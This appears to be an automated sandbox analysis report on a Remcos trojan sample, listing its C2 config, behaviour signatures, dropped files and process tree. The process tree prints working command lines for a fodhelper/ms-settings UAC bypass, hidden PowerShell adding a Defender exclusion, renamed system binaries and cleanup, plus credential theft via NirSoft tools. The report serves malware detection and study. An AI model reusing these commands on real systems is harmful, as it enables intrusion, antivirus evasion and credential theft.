Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/07/2024, 01:08

General

  • Target
    ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
  • Size 955KB
  • Sample240720-bharfszbjp
  • SHA256 ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:52121

  • officerem.duckdns.org:52121

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UNX1LL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe
    "C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3600
    • C:\Users\Public\Libraries\qvzwuszV.pif
      C:\Users\Public\Libraries\qvzwuszV.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4428
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3256.tmp\3257.tmp\3258.bat C:\Users\Public\Libraries\qvzwuszV.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2380
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:3264
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:1144
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:3852
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4920
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:2356
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3888
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:60
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2404
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:4980
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3732
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1304
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2920
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:4444
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:4996
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:3696
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:720
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4596
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • Runs ping.exe
                    PID:2384
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:4920
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:2712
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:2452
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3888
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:312
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:4980
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3036
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\ea65a02541410531edf4095fb55a43869c7f807f30ee9bd8c5fe01daa78cb3d8.exe C:\\Users\\Public\\Libraries\\Vzsuwzvq.PIF
              2⤵
                PID:1744
              • C:\Windows\SysWOW64\colorcpl.exe
                C:\Windows\System32\colorcpl.exe
                2⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: MapViewOfSection
                PID:4316
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\oupqgsdhwcdenuajggajdkmhzgzsjg"
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4924
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\qwuihkoiskvjpawnxrnlopgqiuqacrjtt"
                  3⤵
                  • Accesses Microsoft Outlook accounts
                  PID:2268
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\brabi"
                  3⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2252
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:1956

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    logs.dat

                    • Path C:\ProgramData\remcos\logs.dat
                    • Size 146B
                    • SHA256 bafe0da0d2cb15794554a9e9dea529a9726f4d05ed97bb401ab778e8e8e66d0a
                    • MD5 SHA1 SHA512

                    3258.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\3256.tmp\3257.tmp\3258.bat
                    • Size 1KB
                    • SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_h5drhout.vmb.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h5drhout.vmb.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    oupqgsdhwcdenuajggajdkmhzgzsjg

                    • Path C:\Users\Admin\AppData\Local\Temp\oupqgsdhwcdenuajggajdkmhzgzsjg
                    • Size 4KB
                    • SHA256 9e347aa1a363532c72d7728abe1afdc48b9418fae8cbf8bcbc50c9c22dfefa57
                    • MD5 SHA1 SHA512 SSDEEP

                    qvzwuszV.pif

                    • Path C:\Users\Public\Libraries\qvzwuszV.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 283KB
                    • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 75KB
                    • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 442KB
                    • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                    • MD5 SHA1 SHA512 SSDEEP

                    per.exe

                    • Path C:\Windows \System32\per.exe
                    • Size 48KB
                    • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/1304-49-0x0000020FB60E0000-0x0000020FB6102000-memory.dmp

                    memory/2252-106-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/2252-103-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/2252-101-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/2268-100-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2268-96-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2268-98-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/3600-0-0x00000000009F0000-0x00000000009F1000-memory.dmp

                    memory/3600-4-0x0000000000400000-0x00000000004F8000-memory.dmp

                    memory/4316-109-0x00000000167A0000-0x00000000167B9000-memory.dmp

                    memory/4316-84-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-78-0x0000000004690000-0x0000000005690000-memory.dmp

                    memory/4316-86-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-87-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-88-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-89-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-90-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-91-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-93-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-133-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-125-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-118-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-117-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-114-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-81-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-83-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-112-0x00000000167A0000-0x00000000167B9000-memory.dmp

                    memory/4316-79-0x00000000164B0000-0x0000000016532000-memory.dmp

                    memory/4316-113-0x00000000167A0000-0x00000000167B9000-memory.dmp

                    memory/4428-72-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/4428-5-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/4428-8-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/4428-10-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/4428-11-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/4428-70-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/4924-97-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/4924-99-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/4924-95-0x0000000000400000-0x0000000000478000-memory.dmp